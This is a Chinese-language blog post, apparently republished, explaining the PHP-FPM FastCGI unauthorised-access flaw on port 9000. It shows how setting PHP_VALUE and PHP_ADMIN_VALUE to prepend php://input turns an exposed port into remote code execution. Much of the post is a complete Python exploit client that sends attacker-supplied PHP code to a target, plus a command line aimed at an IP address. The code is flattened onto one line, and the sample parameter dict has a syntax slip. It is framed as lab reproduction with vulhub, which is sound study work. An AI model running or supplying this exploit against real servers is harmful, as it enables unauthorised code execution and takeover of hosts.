PHP-FPM Fastcgi 未授权访问漏洞(端口9000)
漏洞原理
Fastcgi
Fastcgi是一個通信協議,和HTTP協議一樣,都是進行數據交換的一個通道。HTTP協議是瀏覽器和服務器中間件進行數據交換的協議,瀏覽器將HTTP頭和HTTP體用某個規則組裝成數據包,以TCP的方式發送到服務器中間件,服務器中間件按照規則將數據包解碼,并按要求拿到用戶需要的數據,再以HTTP協議的規則打包返回給服務器。類比HTTP協議來說,fastcgi協議則是服務器中間件和某個語言后端進行數據交換的協議。
靶機環境
- https://blog.csdn.net/qq_36374896/article/details/84102101
- https://github.com/vulhub/vulhub
PHP-FPM
PHP-FPM是一個fastcgi協議解析器,Nginx等服務器中間件將用戶請求按照fastcgi的規則打包好傳給FPM。FPM按照fastcgi的協議將TCP流解析成真正的數據。PHP-FPM默認監聽9000端口,如果這個端口暴露在公網,則我們可以自己構造fastcgi協議,和fpm進行通信。
用戶訪問http://127.0.0.1/index.php?a=1&b=2,如果web目錄是/var/www/html,那么Nginx會將這個請求變成如下key-value對:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
這個數組其實就是PHP中$_SERVER數組的一部分,也就是PHP里的環境變量。但環境變量的作用不僅是填充$_SERVER數組,也是告訴fpm:“我要執行哪個PHP文件”。
PHP-FPM拿到fastcgi的數據包后,進行解析,得到上述這些環境變量。然后,執行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php
security.limit_extensions配置
此時,SCRIPT_FILENAME的值就格外重要了。因為fpm是根據這個值來執行php文件的,如果這個文件不存在,fpm會直接返回404。在fpm某個版本之前,我們可以將SCRIPT_FILENAME的值指定為任意后綴文件,比如/etc/passwd。但后來,fpm的默認配置中增加了一個選項security.limit_extensions。其限定了只有某些后綴的文件允許被fpm執行,默認是.php。所以,當我們再傳入/etc/passwd的時候,將會返回Access denied。由于這個配置項的限制,如果想利用PHP-FPM的未授權訪問漏洞,首先就得找到一個已存在的PHP文件。我們可以找找默認源安裝后可能存在的php文件,比如/usr/local/lib/php/PEAR.php
任意代碼執行
那么,為什么我們控制fastcgi協議通信的內容,就能執行任意PHP代碼呢?
理論上當然是不可以的,即使我們能控制SCRIPT_FILENAME,讓fpm執行任意文件,也只是執行目標服務器上的文件,并不能執行我們需要其執行的文件。
但PHP是一門強大的語言,PHP.INI中有兩個有趣的配置項,auto_prepend_file和auto_append_file。
auto_prepend_file是告訴PHP,在執行目標文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告訴PHP,在執行完成目標文件后,包含auto_append_file指向的文件。
那么就有趣了,假設我們設置auto_prepend_file為php://input,那么就等于在執行任何php文件前都要包含一遍POST的內容。所以,我們只需要把待執行的代碼放在Body中,他們就能被執行了。(當然,還需要開啟遠程文件包含選項allow_url_include)
那么,我們怎么設置auto_prepend_file的值?
這又涉及到PHP-FPM的兩個環境變量,PHP_VALUE和PHP_ADMIN_VALUE。這兩個環境變量就是用來設置PHP配置項的,PHP_VALUE可以設置模式為PHP_INI_USER和PHP_INI_ALL的選項,PHP_ADMIN_VALUE可以設置所有選項。(disable_functions除外,這個選項是PHP加載的時候就確定了,在范圍內的函數直接不會被加載到PHP上下文中)
所以,我們最后傳入如下環境變量
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
復現
EXP代碼
import socket import random import argparse import sys from io import BytesIO # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client PY2 = True if sys.version_info.major == 2 else False def bchr(i):if PY2:return force_bytes(chr(i))else:return bytes([i])def bord(c):if isinstance(c, int):return celse:return ord(c)def force_bytes(s):if isinstance(s, bytes):return selse:return s.encode('utf-8', 'strict')def force_text(s):if issubclass(type(s), str):return sif isinstance(s, bytes):s = str(s, 'utf-8', 'strict')else:s = str(s)return sclass FastCGIClient:"""A Fast-CGI Client for Python"""# private__FCGI_VERSION = 1__FCGI_ROLE_RESPONDER = 1__FCGI_ROLE_AUTHORIZER = 2__FCGI_ROLE_FILTER = 3__FCGI_TYPE_BEGIN = 1__FCGI_TYPE_ABORT = 2__FCGI_TYPE_END = 3__FCGI_TYPE_PARAMS = 4__FCGI_TYPE_STDIN = 5__FCGI_TYPE_STDOUT = 6__FCGI_TYPE_STDERR = 7__FCGI_TYPE_DATA = 8__FCGI_TYPE_GETVALUES = 9__FCGI_TYPE_GETVALUES_RESULT = 10__FCGI_TYPE_UNKOWNTYPE = 11__FCGI_HEADER_SIZE = 8# request stateFCGI_STATE_SEND = 1FCGI_STATE_ERROR = 2FCGI_STATE_SUCCESS = 3def __init__(self, host, port, timeout, keepalive):self.host = hostself.port = portself.timeout = timeoutif keepalive:self.keepalive = 1else:self.keepalive = 0self.sock = Noneself.requests = dict()def __connect(self):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(self.timeout)self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)# if self.keepalive:# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)# else:# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)try:self.sock.connect((self.host, int(self.port)))except socket.error as msg:self.sock.close()self.sock = Noneprint(repr(msg))return Falsereturn Truedef __encodeFastCGIRecord(self, fcgi_type, content, requestid):length = len(content)buf = bchr(FastCGIClient.__FCGI_VERSION) \+ bchr(fcgi_type) \+ bchr((requestid >> 8) & 0xFF) \+ bchr(requestid & 0xFF) \+ bchr((length >> 8) & 0xFF) \+ bchr(length & 0xFF) \+ bchr(0) \+ bchr(0) \+ contentreturn bufdef __encodeNameValueParams(self, name, value):nLen = len(name)vLen = len(value)record = b''if nLen < 128:record += bchr(nLen)else:record += bchr((nLen >> 24) | 0x80) \+ bchr((nLen >> 16) & 0xFF) \+ bchr((nLen >> 8) & 0xFF) \+ bchr(nLen & 0xFF)if vLen < 128:record += bchr(vLen)else:record += bchr((vLen >> 24) | 0x80) \+ bchr((vLen >> 16) & 0xFF) \+ bchr((vLen >> 8) & 0xFF) \+ bchr(vLen & 0xFF)return record + name + valuedef __decodeFastCGIHeader(self, stream):header = dict()header['version'] = bord(stream[0])header['type'] = bord(stream[1])header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])header['paddingLength'] = bord(stream[6])header['reserved'] = bord(stream[7])return headerdef __decodeFastCGIRecord(self, buffer):header = buffer.read(int(self.__FCGI_HEADER_SIZE))if not header:return Falseelse:record = self.__decodeFastCGIHeader(header)record['content'] = b''if 'contentLength' in record.keys():contentLength = int(record['contentLength'])record['content'] += buffer.read(contentLength)if 'paddingLength' in record.keys():skiped = buffer.read(int(record['paddingLength']))return recorddef request(self, nameValuePairs={}, post=''):if not self.__connect():print('connect failure! please check your fasctcgi-server !!')returnrequestId = random.randint(1, (1 << 16) - 1)self.requests[requestId] = dict()request = b""beginFCGIRecordContent = bchr(0) \+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \+ bchr(self.keepalive) \+ bchr(0) * 5request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,beginFCGIRecordContent, requestId)paramsRecord = b''if nameValuePairs:for (name, value) in nameValuePairs.items():name = force_bytes(name)value = force_bytes(value)paramsRecord += self.__encodeNameValueParams(name, value)if paramsRecord:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)if post:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)self.sock.send(request)self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SENDself.requests[requestId]['response'] = b''return self.__waitForResponse(requestId)def __waitForResponse(self, requestId):data = b''while True:buf = self.sock.recv(512)if not len(buf):breakdata += bufdata = BytesIO(data)while True:response = self.__decodeFastCGIRecord(data)if not response:breakif response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:self.requests['state'] = FastCGIClient.FCGI_STATE_ERRORif requestId == int(response['requestId']):self.requests[requestId]['response'] += response['content']if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:self.requests[requestId]return self.requests[requestId]['response']def __repr__(self):return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__':parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')parser.add_argument('host', help='Target host, such as 127.0.0.1')parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)args = parser.parse_args()client = FastCGIClient(args.host, args.port, 3, 0)params = dict()documentRoot = "/"uri = args.filecontent = args.codeparams = {'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'POST','SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),'SCRIPT_NAME': uri,'QUERY_STRING': '','REQUEST_URI': uri,'DOCUMENT_ROOT': documentRoot,'SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '9985','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1','CONTENT_TYPE': 'application/text','CONTENT_LENGTH': "%d" % len(content),'PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'}response = client.request(params, content)print(force_text(response))python fpm.py 192.168.122.1 /usr/local/lib/php/PEAR.php -c ""
總結
以上是生活随笔為你收集整理的PHP-FPM Fastcgi 未授权访问漏洞(端口9000)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 护工手机端页面总结
- 下一篇: 第八篇——Struts2的处理结果类型